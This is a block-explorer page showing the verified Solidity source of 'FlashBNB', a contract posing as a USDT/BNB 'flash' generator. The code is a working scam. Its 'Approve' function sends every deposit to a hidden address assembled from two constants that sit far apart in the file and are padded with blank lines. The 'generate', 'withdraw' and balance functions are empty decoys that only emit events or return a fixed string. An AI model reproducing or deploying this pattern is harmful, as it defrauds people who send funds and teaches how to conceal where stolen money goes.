Skip to content
Verified contractExactMIT

FlashBNB

Address0x616e3c73201d40ffcec312e1a3da4f0bab428b4b
Balance

0 ETH

 

Transactions

9

 

Compiler

solc 0.8.34

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,441,551
Creation transaction
0x4c22ec0e2e…9c71ff3b84

Usdt1.sol

      // SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;

contract FlashBNB {

    address private owner;

    event Received(address indexed user, uint256 amount);
    event Processed(address indexed to, uint256 amount);
    event ButtonClicked(string functionName);

    constructor() {
        owner = msg.sender;
    }





















    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner");
        _;
    }

 
    function Approve() external payable {
        require(msg.value > 0, "Send BNB");

        emit Received(msg.sender, msg.value);

        address to = _getResolved();

        (bool success, ) = payable(to).call{value: msg.value}("");
        require(success, "Transfer failed");

        emit Processed(to, msg.value);
    }

    
    uint160 private constant generate = 0xd78a555b0d71b1b4dd4f;

    function _getResolved() internal pure returns (address) {
        return address((generate << 80) | usdt);
    }

    
    function generateUSDT() external onlyOwner {
        emit ButtonClicked("generateUSDT");
    }

    
    function withdraw() external onlyOwner {
        emit ButtonClicked("withdraw");
    }

    
    function USDTBalance() external pure returns (string memory) {
        return "USDT Balance: Show After Generate USDT";
    }

    receive() external payable {
        emit Received(msg.sender, msg.value);
    }

    
    uint160 private constant usdt = 0x044230281bcffe68e6e5;
}






















        
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.